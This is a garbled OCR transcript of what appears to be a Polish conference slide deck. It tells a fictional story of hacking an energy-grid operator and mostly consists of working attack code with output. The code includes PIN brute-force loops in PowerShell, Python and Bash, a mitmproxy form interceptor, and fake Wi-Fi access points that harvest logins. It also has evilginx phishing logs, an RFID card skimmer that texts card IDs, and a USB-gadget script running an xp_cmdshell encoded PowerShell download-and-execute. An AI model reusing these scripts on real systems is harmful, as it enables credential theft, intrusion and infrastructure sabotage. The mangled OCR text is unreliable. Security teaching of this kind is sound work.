USISZ ZO

JlDaCZHCJ.al( wgglacla ZBClaﬂlé

Jesli Wgéwietlasz zrodto strony, idziesz na slajicl 9.

WprowadZ swéj indywidualny, szeSciocyfrowy PIN

Jesli UZYywasz Burl:) Suite, idziesz na

Jesll Plszesz sngkle proxy w Pgthome WQSWIG‘EIaJaCG
dane POST, idziesz na s|a|cl 41.




Zrodio strony

67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

<boay>
<div class="1logo">
<img src="/static/logo.png">
<br>
</div>
<div>
<form class="container"” method="POST" action="/login">
<h1>WprowadZ swéj indywidualny, szeSciocyfrowy PIN</hl1>

<input type="password" name="PIN" maxlength="6" pattern="\d{6}" required>

<br>
<input type="submit" value="Wejdz">

</form>
</div>
</body>

</html>

’ « =2 C A Kot Secure  printer-103.marpnet:8000/login v A w

WprowadZ swdj indywidualny, szeSciocyfrowy PIN

Wajdz

Niwprawidiowy PIN

{ i L0 FElements Console Sources Network A Memory Parformanca  Application  Privacy anc security  Lighthouse  Racorder 88 Ragquastly

® @ Y C | 68 presenvelop Disable cache Nothrottling ~ % | L &
Y Filter T rvert | Morefiltars v Al || Felch¥HR [Doc (0S5 (|J5 [Fant | Img | [ Madia

rv S ms 10 ms 1Brs 2 ms 28 s W ms 8 s a0 m B 80 ms 85ms 80 my ESrs 70 ms T8 A0 ms A5ms »
Name X Headers Payload Preview Response Initiator  Timing Cooxies I
& login ~ Form Data View source View URL-encoded
raa2amily=Share | Toeh | Maro&aisplaysswan

e PIN 123124
(1 17alinpTUDWRBEAVEIBAVIYIdF clLowl FAR?Heg watt?
[7] css?7amily=Source+Sans+Pro
= 5§ recuests | 245 k8 transfarced 240 kB resources | Finish: 164 me

'



5‘@,

Burp Suite:

0 ]

Dashboad Proxy Intruce- Feoeater Ccllakorator

WebSoc«ets history

Target

Intercept HTTP history Match and replace

Y Filter sattings: Hiding CSS, Image and genaral binary content

Method URL Params
CEl /login

CET /

Host

http://pnnter-103.marpnet:80...
hitp://printer-103.marpnet:80...

Sequencer

L
;.
EE)

{0% Proxy settings

Edited

Decocer

Burp Suite Community Editionv2025.3.3 - Temporary Project

Comparer Organizer Extensions Leam

Logger

Stetus code Title

405
200

Length
38/
2119

MIME type Extension
JSON

HTML Strefa Dostepu

IP

127.0.0.7
127.0.0.1

Q)

Cookies

session=eyJ1c2...
session=eyJ1c2...

Tirme

06:1
056:1

http:/printer-108.marpnet:80... POST  /login

200 2180 HTML Strefa Dostepu

127.0.0.1

session-eyJic2...

06:1

http://www.gstatic.com CET /gencrate_204

Request

Pretty

POST /login KTTP/1.1

Host: printer-103.marpnet:8000

Content-Length: 10

Cache-Control: max-age=9

Origin: http://printer-103.marpne:8000

Content-Type: application/x-www—form—urlenccded
Upgrade-Insecure-Requests: 1

User-Agent: Mozillars5.0 [(Macintosh; Intel Mac 0S X 10 15 7)
AppleWebKit/537.36 (KFTML, like Gecko! Chrome/136.9.0.0
Safari/537.3€

Accept:
text/htmnl,application/xhtml+xml,application/xnl;q=0.9, image/avif,
inage/wehp, ‘mage/apng,*/*;q=0.8,application/signed-exchange; v=h3;
q=0.7

Referer: http://printer-163.marpnet:8060/

Accept-Encoding: gzip, deflate, br

Accept-Languege: en-GE,en-US;q=0.9,en;q=0.8,pl;q=0.7

Cookie: session=
eyJ1c2VyljogeyJ1c2VybmFtZSIGICIrLmphbmtvd3NraSIsICIKZXBhCnRtZWS591
jogIKRGaWNcdTAXNDIgRHI1a3UifX0=.aDekVg.cudlfeiMGaz_CXTdn7kevQO6KCLp
M
Connection:

Raw Hex

keep-alive

PIN=123223

A& € > s )

Event log (18) *

0 highlgits

All issues

204 127

Response

Pretty

%)

Raw Hex Render

width:1Zem;

1
4

</style>
</head-
<body>
<div class="1logo">
<img src="/static/logo.png">
<DIr>
</div>
<div>
<form class="container"
<hl>
WprowadZ swoéj indywidualny, szedciocyfrowy FIN
</hl>

mnethnd="P0ST" action="/login">

<inpul type="password” name="PIN" maxlength="€" pattern

="\d{6}" required>
<br>
<input type="submit" value="Wejdz"-

<p style="color: ¥ff828€;">
Niepraw.dtowy PIN
</p>

</farm>
</div>
</body>

g1 </html>

AL €[> seaon )

0 highlights

172.217.1€.3

Inspector

Raquest attrbutes
Request body parameters
Request cockies
Request headers

Rasponse headars

() Memory: 146.€ME

*y Disabled

N,

05:1

&p

1010adsu|

I,

Sa]0N

”,




mitmproxy/mit

# mitmdump —-s mitm.py
from mitmproxy import http

def request(flow: http.HTTPFlow) —> None:
1T flow.request.method == "POST":
body = flow.request. get_text()

prir
prir
prir
prir

prir

("POST request")

(f"URL: {flow.request.pretty_url};")
("Body:")

(body)

( 1 _____________==____———===\ N Y )

drge~/confi25» mitmdump -s mitm.py
06:27:47.985] Loading script mitm.py

sz;jzéjUVU% HTTP(S) proxy listening at *:30830.

06:27 :49. 1[127.0.0.1:56720] client connect
06:27 :49 1[127.0.0.1:56721] client connect
POST request
URL: http://printer-103.marpnet:8000/login
Body :
PIN=123123



Atak brute f¢

Wprowa

dZ swoj indywidualny,

Wejdz

szeSciocyfrowy PIN

% 4 L
' ) F:‘.
4 <

Iistc; uZytkownikéw. Wybierz bron.

e PowerShell - idziesz na

o Pgthon _ idziesz na slaJicl 45.

e Bash - idziesz na 5|aJid =7

‘ Przel:)rowaclzasz brute force na Piﬂg) Zebg wgciagnaé



Enumeracjeé

=

0..999 | % { $pin=("10:d6}" T $_); $exists=((irm -me po http://
printer-103.marpnet:8000/1login —~body "PIN=$pin") -notlike 'sNieprax');
[pscustomobject]@{pin=$pin;exists=$exists} }|where exists

N N N pwsh

PS /Users/drg> @. .999 | % { $pin=("{@:d6}" $ ); $exists=((irm po http://printer-1683 . marpnet:8080/login
"PIN=$pin") "*Niepra*'); [pscustomobject]@{pin=$pin;exists=$exists} }|where exists

pin exists

Pev1a1 True
Pov1a2 True
PRv103 True
00104 True
Pee185 True
0RR1B6 True
0107 True
PeA1a8 True
PRR1a9 True
PPB1186 True
Pev111 True
Pev112 True
Pee113 True
Pee114 True
000115 True
PRA116 True
PeR117 True
POO118 True
PPv119 True
Vev126 True

PS /Users/drg> _

R ML - y y . =



Enumeracj

=

0..999 | ForEach-Object {
$pin=("{0:d6}" —T $_)
$content = Invoke-RestMethod -Method POST http://printer-103.marpnet:8000/login —body "PIN=$pin"
if ($content —match "(?s)Uzytkownik: <strong>(?<user>.x)</strong>.*Dziat: <strong>(?
<department>.x)</strong>") A
$user = $matches['user']
¢department = $matches|['department']
[pscustomobject]l@{pin=$pin;user=%$user;department=$department}

pin usexr department

080101 ewa.kaminska Kontrola Jakosci

0Be102 adam.wojcik Dziat Druku

PPP103 karol.kowalski Logistyka

0B0104 ola.nowicka Bezpieczenstwo Systemowe

0BO1B5 marta.lewandowska Zarzadzanie Energig

QBO106 tomasz.krawczyk Automatyka Przemystowa

QB0107 piotr.wisniewski Utrzymanie Sieci GRIDNET

QPe1e8 ania.zajac Dziat Druku

000109 bartek.adamczyk Zespotl Aktualizacji MAO SCADA Link

000110 justyna.mazur Zarzadzanie Alarmami

000111 michal.sobczak Logistyka

080112 patrycja.kot Bezpieczenstwo OT

000113 grzegorz.urban Dziat Druku ;
000114 dominika.olszewska  Obsiuga Maszynowni Gtdwnej 4, 4
QB0115 krystian.baran Serwis Systemow Zasilania " _——
QB0116 katarzyna.czerwinska Koordynacja Zapasow Krytycznych

00117 lukasz.wojtas SCADA Nexus - Centrum Dystrybucji

0@0118 agnieszka.krupa Zespot Reagowania GRIDNET

PE@0119 mateusz.pawlowski Zarzgdzanie Przeptywem Energii

000120 izabela.wrona Logistyka

PS /Users/drg> _



—

Enumeracja. pi
@
import requests

for 1 in range(1000):
pin = f"{i:06}"

if "Niepra" not in requests.post('http://printer-103.marpnet:8000/login",

data={"PIN": pin}).text:
print(f'Found PIN {pin}"')

-—ar -

Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found

PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN
PIN

>>> import requests

. for 1 in range(1990):
pin = £"{i:06}"
if "Niepra" not in requests.post("http://printer-1603.marpnet:80@0/Login",
print(f'Found PIN {pin}')

0@e1a@1l
000162
0@e1a@5
000104
000165
Qvel1aée
0ael1a7/
000108
0@e169
Qvel11e
0aolll
Qee112
712170 I
Qve114
712170
Quelle
Qaell/
090118
@@e119
Q00120

data={"PIN": pin}).text:



Enumeracj.

o

import requests
import re

pattern = re.compile(r"Uzytkownik: <strong>(.*?)</strong>.%*7Dziat: <strong>(.*?7)</strong>",

re.DOTALL)

for 1 in range(1000):
pin = f"{i:06}"

response = requests.post("http://printer-103.marpnet:8000/1login", data={"PIN": pin})

match = pattern.search(response.text)

1T match:
user, department = match.groups()
print(f'{pin}, {user}, {department}')

8ve1a1,
8ve1a.2,
a0a1a3,
@ea164,
@ee1as,
800106,
8ve1a7/,
806148,
@081a9,
@0a110,
@ee111,
808112,
806113,
906114,
@oe115,
@ealle,
@ea117,
808118,
8ee119,
806120,

ewa.kaminska, Kontrola Jakosci

adam.wojcik, Dziat Druku

karol.kowalski, Logistyka

ola.nowicka, Bezpieczenstwo Systemaowe

marta. lewandowska, Zarzadzanie Energig
tomasz.krawczyk, Automatyka Przemystowa
piotr.wisniewski, Utrzymanie Sieci GRIDNET
ania.zajac, Dziat Druku

bartek.adamczyk, Zespdt Aktualizacji MAO SCADA Link
justyna.mazur, Zarzadzanie Alarmami

michal.sobczak, Logistyka

patrycija.kot, Bezpieczenstwo OT

grzegorz.urban, Dziat Druku

dominika.olszewska, Obstuga Maszynowni Gtownej
krystian.baran, Serwis Systemow Zasilania
katarzyna.czerwinska, Koordynacja Zapasow Krytycznych
Lukasz.wojtas, SCADA Nexus - Centrum Dystrybucji
agnieszka.krupa, Zespot Reagowania GRIDNET
mateusz.pawlowski, Zarzadzanie Przeptywem Energii
izabela.wrona, Logistyka



Enumeracjeé

L

for pin in $(seq -f "%06.0f" @ 999); do r=$(curl -s —-d "PIN=$pin"
http://printer-103.marpnet:8000/login); [[ $r != *Nieprax ]] && echo
"Found pin $pin"; done

drge~/confi25» for pin in $(seq -f "%06.0f" @ 999); do r=%(curl -s -d "PIN=$pin" http://printer-163.ma
rpnet:8000/login); [[ Sr Niepra® ]] && echo "Found pin $pin"; done

Found pin 000101

Found pin 0060162

Found pin 000103

Found pin 000104

Found pin 000105

Found pin 808106

Found pin 600107

Found pin 000168

Found pin 000169

Found pin @6011@

Found pin 800111

Found pin 000112

Found pin 600113

Found pin 0080114

Found pin ©@00115 {“;
Found pin 800116 J §%°
Found pin 000117 .
Found pin 000118

‘Found pin 6600119

Found pin 008120

drge-~/confil25» [16:32:47]



Enumerac;

r _

for 1 in $(seq -f "%06.0f" @ 999); do
response=$(wget ——quiet ——-method POST —-body-data="PIN=$i" http://printer-103.marpnet:8000/

login -0-)

user=$(echo "$response" | sed -n 's/.*xUzytkownik: <strong>\(.x*x\)<\/strong>.%/\1/p"')
department=$(echo "$response" | sed -n 's/.*Dziat: <strong>\(.x*x\)<\/strong>.*x/\1/p"')

if [[ —-n "$user" && -n "$department" ]]1; then

echo "$1, $user, $department™
fi
done

000101,
000102,
000103,
000104,
000105,
000106,
000107,
000108,
000109,
000110,
000111,
000112,
000113,
000114,
000115,
000116,
000117,
000118,
000119,
000120,

ewa.kaminska, Kontrola Jakosci

adam.wojcik, Dziat Druku

karol.kowalski, Logistyka

ola.nowicka, Bezpieczenstwo Systemowe
marta.lewandowska, Zarzadzanie Energig
tomasz.krawczyk, Automatyka Przemystowa
piotr.wisniewski, Utrzymanie Sieci GRIDNET
ania.zajac, Dziat Druku

bartek.adamczyk, Zespdét Aktualizacji MAO SCADA Link
justyna.mazur, Zarzgdzanie Alarmami

michal.sobczak, Logistyka

patrycja.kot, Bezpieczenstwo OT

grzegorz.urban, Dziat Druku

dominika.olszewska, Obstuga Maszynowni Gtoéwnej
krystian.baran, Serwis Systeméw Zasilania
katarzyna.czerwinska, Koordynacja Zapasdéw Krytycznych
lukasz.wojtas, SCADA Nexus - Centrum Dystrybucji
agnieszka.krupa, Zespét Reagowania GRIDNET
mateusz.pawlowski, Zarzadzanie Przeptywem Energii
izabela.wrona, Logistyka



POtrZan‘k;,

-

Potrzebujesz zclobgc’: login9 i hasta do MARPNETU.
o Jesli wysg’fasz Phishing, idziesz na .

o Jesli Poclrzucasz do MAO Fa’fszgwg Access Point
uclaja‘cg autoryzowana siec | zbieraja‘cy |<rec”<i) idziesz

na slaJid 910}




Fake Acces

Jaki SPer;t wy korzgstujesz do fat SZYwego ACCess Pointa”

o Jesl; wgbierasz mikrokontroler ESP32 e Jesli wgbierasz minikomputcr z

+ Arduino, idziesz na slajcl . | inuxem, idziesz na slajicl 575.




#include <Arduino.h>
#include <WiF1.h>
#include <DNSServer.h>
#include <WebServer.h>

DNSServer dnsServer;
WebServer server(80);

static const char responsePortal[] = R"===
<!DOCTYPE html> [...]

n"n.
2

void handleRoot() {
Serial.println("Handle root");
server.send(200, "text/plain", "");

¥

void handleNotFound() {
Serial.println("Handle not found");
server.sendHeader("Location", "/portal");

n-n

server.send(302, "text/plain", "redirect to captive portal");

h

void setup() {
Serial.begin(115200);
WiF1.mode(WIFI_AP);
WiFi.soft AP("MARPNET");

it (dnsServer.start()) {

Serial.println("Started DNS server in captive portal-mode");
}else {
Serial.println("Err: Can't start DNS server!");

J

server.on("/", handleRoot);

server.on("/login", HTTP_POST, [1() {
Serial.println("Handle login");
String username = server.arg("username");
String password = server.arg("password");
Serial.println("! Login attempt");
Serial.print("Username: ");
Serial.println(username);
Serial .print("Password: ");
Serial.println(password);
server.send(200, "text/html", "Incorrect password");

;s

server.on("/portal", []() {
Serial.printin("Handle portal");
server.send(200, "text/html", responsePortal);

;s

server.onNotFound(handleNotFound);
server.begin();

h

void loop() {
server.handleClient();
delay(5);

by




Fatszywy 2

N N ® captive | Arduino IDE 2.3.6

@ O O [+ wsawomss . "o

captive.ino
30 i
31 if (dnsServer.start()) { ‘1, whr
32 Serial.println("Started DNS server in captive portal-mode"); -;
33 } else { ';
34 Serial.println("Err: Can't start DNS server!"); |
35 }
36
37 server.on("/", handleRoot);
38
39 server.on("/login", HTTP_POST, [1() {
40 Serial.println("Handle login");
41 String username = server.arg("username")d
42 String password = server.arg("password"); "
43 Serial.println("! Login attempt");
44 Serial.print("Username: ");
45 Serial.println(username); .
46 Serial.print("Password: ");
47 Serial.println(password); -
48 server.send(200, "text/html", "Incorrect password");
49 });
50 -
51 server.on("/portal”, [1() {
52 Serial.println("Handle portal");
53 server.send(200, "text/html", responsePortal); T
54 });
55
56 server.onNotFound(handleNotFound) ;
57 server.begin();
58 }
59
60 void loop() {
61 server.handleClient();
62 delay(5);
63 }

Output  Serial Monitor X ¥ I® =

Message (Enter to send message to 'M5AtomS3' on '/dev/cu.usbmodem2101 New Line v || 9600 baud v ’

- - AR e - El

12:12:29.156 —> ! Login attempt
12:12:29.156 —> Username: hh
12:12:29.156 —-> Password: gg
12:12:33.240 —> Handle login
12:12:33.240 —> ! Login attempt
12:12:33.240 -> Username: hhbbb
12:12:33.240 —> Password: gg

Ln 41, Col 46 MS5AtomS3 on /dev/cu.usbmodem2101 (36 B



Fatszywy

dnsmasq hostapd lighttpd iptables dhcpcd




Falszywy

#!/bin/bash

set —e echo "[*] Konfiguracja hostapd..."
sudo tee /etc/hostapd/hostapd.conf > /dev/null <<EOF
echo "[*] Instalacja wymaganych pakietdw..." interface=wlano
sudo apt update driver=nl180211
sudo apt install -y dnsmasqg hostapd lighttpd iptables-persistent ssid=MARPNET
hw_mode=g
echo "[*] Konfiguracja statycznego IP dla wlan@..." channel=7
sudo tee —-a /etc/dhcpcd.conf > /dev/null <<EOF wmm_enabled=0
macaddr_acl=0
interface wlan@ auth_algs=1
static ip_address=192.168.4.1/24 ignhore_broadcast_ssid=0
nohook wpa_supplicant =0
0]

echo "[x] Restart dhcpcd..."
sudo service dhcpcd restart

echo "[x] Konfiguracja dnsmasq..."

sudo mv /etc/dnsmasqg.conf /etc/dnsmasq.conf.orig 2>/dev/null || true

sudo tee /etc/dnsmasqg.conf > /dev/null <<EOF

interface=wlan®

dhcp-range=192.168.4.10,192.168.4.100, 12h 4;‘:
address=/#/192.168.4.1 | -
EOF



Falszywy

sudo

echo
sudo
sudo

echo
sudo
sudo

echo
sudo

echo
sudo
sudo
sudo

echo
sudo
sudo

echo

sed -1 's|”#DAEMON_CONF=.x*|DAEMON_CONF="/etc/hostapd/hostapd.conf"|' /etc/default/hostapd

"[x] Wtaczenie lighttpd..."
systemctl enable lighttpd
systemctl restart lighttpd

"[x] Konfiguracja iptables do przekierowania HTTP..."
iptables -t nat —-A PREROUTING -1 wlan@® -p tcp ——dport 80 —j DNAT ——to 192.168.4.1:80
iptables -t nat —A POSTROUTING -j MASQUERADE

"[x] Zapis regut iptables..."
netfilter-persistent save

"[x] Wtgczanie ustug przy starcie..."
systemctl unmask hostapd
systemctl enable hostapd
systemctl enable dnsmasq

"[x] Uruchamianie ustug..."
systemctl restart dnsmasq
systemctl restart hostapd

"[v] Captive Portal MARPNET gotowy. Urzadzenia po*gczone z Wi—-Fi 'MARPNET' beda przekierowane do index.html."




Phishing

“uql@hrl en-rvilb rx:u/lun]\f-;i1giux7h i Tl e luin( - Sabishlel s/

[AA:27:
[@R:2

(S6] [inl] selbiong up e=eliliiales Tar phishbT=0 "googl="...

| ——
L3

6] [inf] Toaded phi<hlet 'gacgle' fram 'grazl=.y=nl

[@5:23:586] [-] stccessTully sat up SSL/TLS certiticates for domalrs: [accounts.it-is-zlmost-done.evilg
ast-done . zvilginx.com contert_it-is-zlmost-done_evilgin«. com]
[@s:2:4:59] I"] [¥] naw vicitor hac arrivad: Mcozilla/s.k (Windows N 6.1; Winkd; xb pplaWzbrit/54/. 30 HIML, like Ge ronz/ b 4359.181 Safarz 3
|©3:22:59] |int] |€] landing URL: httpz:/Saccourtz.1it is almost donc.cvilzinx.com/signir/v2/identiticr
: ses=zions
id prishlel EPSTRTT S password Lukens remole ip Ll
1y goonle L918-U5-48 U822
200 ~fconfi25
03:24:22 |€] Username: | demail.com| - = N
%9},429i% i ?:chJT1+ : vema v «drg+~/confi25» mitmdump --help
[93:74:4'] [ ] f.': all aulh - al it lak=ns r e eal e ! usaqge: mitmump EOD:icnS] [f.-]-:cr]
[05:2‘1:4:] [ ] _ sdirecling o URL nelps: edire L l-Lo-Las-ur o ~dail L=
+ sessions positional arquments:
filter_arcs Filter expression, equivalent to setting both ths
: save stream filter opticns.
id prishlet Lsornanc password tokcns
19 google ignzil. com capturad options: ) i i
-h, --halp show thie help messzge and axit
--version show version rumber and exit
3 | --options Show all opticns and their default values

- -commands
--set ootion[=value]

. -q, --qQuiet
v, vartose
--mocde, -m MODE

--no-anticache
anticachke

--no-shoabost
--3howhost

--show-igrored-hosts

.
- . y
7 ’ 4 o -
— ‘y F s e 7 .

Show all commands and their signarures

S2t an option. When the value is omittad, boolear
and integers are set to None (if permitted), and
Boolean va.ues can be txue, fealse or toggle. Seql
maltiple invocations to <et for the same option.

Quiet.

Increase log verbosity.

The proxy server typei(s) to spawn. Can be passed
supports "»egular" (HTTF), "transparenc”, 'sockst
"upstream:SPEC' , and "wireguard|[:PATH]" proxy sei:
upstream proxy modes, SFEC is host specification
"hetp[s]://host[:poxrt]"”. For WireGuard mode, PAT-
containing key marterzal. If no such file exisrts,

startup. You may append @.isten_port cor "galiste
override 'Listen_host' cxr 'listen_port’ for a sp:
such as client playback will use the fixst mode t
s2rver to use. May be passed multiple times.

Strip out request hecaders that might cause the scrver to return 2€4 -not
modified.

Use the Host header to construct URLs fcr display. This opticn 15 disabled
by default because malicious apps may send misleading host hcaders to cvade

your analvsis. If this is not a corncern, enable this options for better flow

display.

--no-show-ignored-hcsts

Racord ignorad flows in the UI even if we do not periorm TLS intaxception.

This option will keep igrorad flows' contents in memory, which can greatly
s L
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Spectra X

Od: Spectra X

Mam. Zabezpieczenia Przecl niebezpiecznymi wartosciami

Praktgcznie kachfj z maszyn w GRIDNETcie realizowane sa
wy’f acznie w MAO SCADA Link, kontrolerg Przgjma‘ wszgstko, CO

Im wyéle oPerator.

-
S— —_— e ——

Przggotowa’fam robaka, ktérg rozesle sie do kaZczlej stacji W

GRIDNETcie 1 zgas swiatfo w ca’fgm MAO w taki sposéb, ze

Wymiana zarowek nie pomoze. Bo nie bedzie w coje wkrecac.

Wystarczy, ze oclpalisz go W ijc')wnej Maszynowni, gclzie stoi  \
stacja z zainstalowangm VIS U N DN e IN G 5 |<tc’>r9 Wysgjra , | ---. gl %
aktualizacje do Linkéw. L S




Dostac¢ sie dom

. Sklonowa¢ karte jeclnego o
oPeratoréw \

2. Okresli¢ najlepszg moment na welscie







SkanTeczka =

i

- - —
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I Mobilng) clgskretng
skanert kart

2. Po zeskanowaniu kartg

wjfaczenie modemu
GSM iwgsjfanie SMSa

% Restart urzadzenia



SMSowy Sk

#include <SPI.h>
#include <MFR(C522.h>
#include <TinyGsmClient.h>

#include "utilities.h"

#define SS_PIN 12
#define RST_PIN O

#define SMS_TARGET "+48501501501"

MFRC522 rfid(SS_PIN, RST_PIN);
byte nuidPICCI[4];

TinyGsm modem(Seriall);

void setup() {
Serial.begin(9600);
SPI.begin();
rfid.PCD_Init();

Seriall.begin(115200, SERIAL_8N1, MODEM_RX, MODEM_TX);
delay(1000);

Serial.println(F("mifare to sms initialized"));

}

String hexToString(byte xbuffer, byte bufferSize) A{
String result = "";
for (byte i = 0; i < bufferSize; i++) {
if (buffer[i] < 0x10) result += " 0";

else result += " ":

result += String(buffer[il, HEX);
¥
return result;




v - {
o

void loop() {
if (!'rfid.PICC_IsNewCardPresent())
return;

if ('rfid.PICC_ReadCardSerial())
return;

Serial.print(F("PICC type: "));
MFRC522::PICC_Type piccType = rfid.PICC_GetType(rfid.uid.sak);
Serial.println(rfid.PICC_GetTypeName(piccType));

1T (piccType !'= MFRC522::PICC_TYPE_MIFARE_MINI && piccType != MFRC522::PICC_TYPE_MIFARE_1K && piccType !=
MFRC522: :PICC_TYPE_MIFARE_4K) A
Serial.println(F("Not MIFARE card."));
return;

}

String nuidString = hexToString(rfid.uid.uidByte, rfid.uid.size);
Serial.println(nuidString);

// send sms

setupModem() ;

Serial.println("init modem");

modem. init();

Serial.println("Sending sms");

bool res = modem.sendSMS(SMS_TARGET, nuidString);
Serial.println("SMS sent");

ESP.restart():




Jak znalezc®nay

TMOS PIR STHSH P80

Cechy szczegolne M5NanoC6

Wyposazony w ukltad ESP32-C6FH4, obstugujacy WiFi 6, Zigbee, Thread i
Matter, zapewniajacy szybka i niezawodng komunikacje bezprzewodows.

Gtowne cechy TMOS PIR

» Wysoka czutosC: precyzyjna detekcja ruchu i obecnosci w oparciu o Wbudowany nadajnik podczerwieni umozliwiajacy wygodne sterowanie

promieniowanie ciepine urzgdzeniami loT za pomoca technologii podczerwieni.
Szerokie pole widzenia: 80° zapewnia wiekszy zakres monitorowania
Regulacja czutosci: tryby domysiny | szeroki dla réznych warunkow

srodowiskowych

Posiada programowalne diody RGB, ktére dodajg efektow wizualnych |
umozliwiajg personalizacje projektow.

o _ _ | N ) Ztgcze Grove umozliwia elastyczng rozbudowe poprzez potgczenie z roznymi
Komunikacja 12C: tatwa integracja z mikrokontrolerami (adres 0x5SA)

L _ ) . urzgdzeniami MS5Stack, takimi jak te wykorzystujgce protokoty UART, 12C |
Reqgulowana czestotliwos¢ probkowania: od 0,25 Hz do 30 Hz, dopasowana , ]
.. _. Inne.
do réznych zastosowan
. . Mate wymiary 23,5 x 12 x 9,56 mm, co czyni go idealnym do zastosowan w
» Kompaktowe wymiary: tylko 32 x 24 x 8 mmimasa 4,4 g - Y Y <3, : ‘ “yht g ainy

projektach, gdzie przestrzen jest ograniczona, a mobilnosé kluczowa.




Czujnik o

void loop() {
sths34pf80_tmos_drdy_status_t dataReady;
TMOS.getDataReady(&dataReady) ;

if (dataReady.drdy == 1) {
sths34pf80 tmos_func_status_t status;
TMOS.getStatus(&status);

if (status.pres_flag == 1) {
TMOS.getPresenceValue(&presenceVal);
Serial.printf("Presence Detected! PresenceValue: %d\n", presenceVal);
sendValue(presenceURLBase, '"val', presenceVal);

J

if (status.mot_flag == 1) {
TMOS.getMotionValue(&motionVal);
Serial.printf("Motion Detected! MotionValue: %d\n", motionVal);
sendValue(motionURLBase, "val", motionVal);
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OPERATOR INTERFACE
& CONTROL NODE AGENT

REGAIN CONTROL
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Jak zainfek- ggagj::» O

& C 2% kernel.orgfdoc/htmlfv4.17/driver-apifusb/gadget.html#structure-of-gadget-drivers < e

W1: Dallas’ 1-wire bus
RapidlO Subsystem Guide USB Controller Driver

| This is the lowest software level. It is the only layer that talks to hardware, through registers, fifos, dma, irgs, and the like. The <1inux/usb/gadget.h> API
Writing s3%0 ch I ice dri . . - . - .
LR LS e s abstracts the peripheral controller endpoint hardware. That hardware is exposed through endpoint objects, which accept streams of IN/OUT buffers, and

through callbacks that interact with gadget drivers. Since normal USB devices only have one upstream port, they only have one of these drivers. The

Linux 802.11 Driver Developer’s controller driver can support any number of different gadget drivers, but only one of them can be used at a time.
Guide

VME Device Drivers

Examples of such controller hardware include the PCl-based NetChip 2280 USB 2.0 high speed controller, the SA-11x0 or PXA-25x UDC (found within

The Userspace |/O HOWTO .
many PDAs), and a variety of other products.

Linux Firmware API

PINCTRL (PIN CONTROL)
subsystem

Gadget Driver
The lower boundary of this driver implements hardware-neutral USB functions, using calls to the controller driver. Because such hardware varies widely in

capabilities and restrictions, and is used in embedded environments where space is at a premium, the gadget driver is often configured at compile time to
work with endpoints supported by one particular controller. Gadget drivers may be portable to several different controllers, using conditional compilatiop

(Recent kernels substantially simplify the work involved in supporting new hardware, by autoconfiguring endpoints automatically for many bulk-oriep*
drivers.) Gadget driver responsibilities include:

General Purpose Input/Output
(GPIO)

Miscellaneous Devices

DMAEngine documentation
* handling setup requests (ep0 protocol responses) possibly including class-specific functionality
returning configuration and string descriptors

SoundWire Documentation (re)setting configurations and interface altsettings, including enabling and configuring endpoints

Linux kernel SLIMbus support

Core AP| Documentation handling life cycle events, such as managing bindings to hardware, USB suspend/resume, remote wakeup, and disconnec*

[IRiuxiMediaSubsystem Bocanentation managing IN and OQUT transfers on all currently enabled endpoints

Linux Networking Documentation Such drivers may be modules of proprietary code, although that approach is discouraged in the Linux community.

The Linux Input Documentation Upper Level

Linux GPU Driver Developer's Guide Most gadget drivers have an upper boundary that connects to some Linux driver or framework in Linux. Through that bound

S ot gadget driver produces and/or consumes through protocol transfers over USB. Examples include:

Linux Sound Subsystem Documentation » user mode code, using generic (gadgetfs) or application specific files in /dev

» networking subsystem (for network gadgets, like the CDC Ethernet Model gadget driver)

» data capture drivers, perhaps video4Linux or a scanner driver; or test and measurement hardware.
* input subsystem (for HID gadgets)

Linux Kernel Crypto API
Linux Filesystems API

SuperH Interfaces Guide sound subsystem (for audio gadgets)

Korean translations file system (for PTP gadgets)

Chinese translations block i/o subsystem {for usb-storage gadgets)




Karta sieciOw

#!/bin/bash

[jéi echo "[+] tadowanie modutu g_ether..."
modprobe g_ether

echo "[x] Konfiguracja interfejsu usbo..."
ip link set usb@ up
ip addr add 192.168.7.1/24 dev usb@

echo "[*] Restart dnsmasq z konfiguracjg dla usb@..."
cat <<EOF >/etc/dnsmasqg.d/usb—gadget.conf
interface=usb0
dhcp-range=192.168.7.2,192.168.7.10,255.255.255.0, 1h
0]

systemctl restart dnsmasq || {

echo "[!] dnsmasq error — sprawdz czy jest zainstalowany i skonfigurowany."

exit 1

}

echo "[*] Oczekiwanie na komputer hosta..."
while true; do
peer_ip=$(ip neigh show dev usb@® | grep "1lladdr" | awk '{print $1}'
if [[ -n "$peer_ip" 1]; then
echo "[+] Wykryto komputer z IP: $peer_ip"
echo "[*] Uruchamiam mao-gridnet-apocalypse.py..."
python3 mao—-gridnet—apocalypse.py "$peer_ip"
break
fi
sleep 1
done

| head -n1)




mao-gridnet=e

Iy

L

import pyodbc

server = 'nexus.gridnet’
database = 'master'
username = 'sa'

password = 'MAO! 'N3xus’

command = "exec xp_cmdshell 'powershell —-enc aQB3AHIAIABhAHAAdABtAGMALgBwAGwALwBjAGEAbABjAHwWAaQBLAHgA""

try:
conn_str = (
f"DRIVER={{0ODBC Driver 18 for SQL Server}};"
f'"'SERVER={server};"
f"DATABASE={database};"
f"UID={username};"
f"'PWD={password};"
f"TrustServerCertificate=yes;"

)

with pyodbc.connect(conn_str) as conn:
with conn.cursor() as cursor:
print("[x] Deploying APOCALYPSE...")
cursor.execute(command)

rows = cursor.fetchall()
for row 1n rows:
print(row([0])

except Exception as e:
print(f"[!] Error {e}")
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<Adam Sztange> | co 0 tym wszystkim mysllsz?

<Adam Hantle> Miedzynarodowa Agencja
Odbudowy miata odbudowac swiat, podczas gdy
|stata sig Jego najwiekszym zagrozeniem.

J<Adam Sztange> Ale po raz kolejny Sswiat mogt
~ |liczy¢ na hakerow

<Adam Hantle> To prawda. Moja babua‘ mawiata:
Gdzie Dlabe1L nie moze, wyslij hakera.

AT\

- <Adam Sztange> A jak skomentujesz to, ze Ruda
gaiw ma zostac premierem Nowej Rady?

<Adam Hantle> Rudzi i polityka.. IVIam mieszane
uczucia.

‘E.q

Adam Hantle
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Ruda - Agata "  Slusarek

Dark Seeker - Krzgsiek Zielinski
Archiwista - Wojtek Dworakowski

Sztanga i Hantla - oni sami, czgli Adar

1 Lange i Adar

1 Haertle
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